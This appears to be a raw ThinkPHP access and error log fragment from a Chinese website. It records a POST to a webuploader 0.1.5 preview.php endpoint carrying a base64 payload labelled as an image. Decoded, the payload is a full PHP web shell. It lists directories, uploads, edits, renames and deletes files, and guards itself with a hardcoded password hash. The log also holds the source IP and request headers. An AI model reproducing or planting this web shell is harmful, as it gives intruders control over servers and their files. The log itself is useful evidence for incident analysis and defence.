'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.5', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:28:31+08:00 ] 119.42.146.234 POST 51tianwei.com/static/common/lib/webuploader/0.1.5/server/preview.php [运行时间:0.002615s] [吞吐率:382.41req/s] [内存消耗:196.72kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'static', 2 => 'common', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 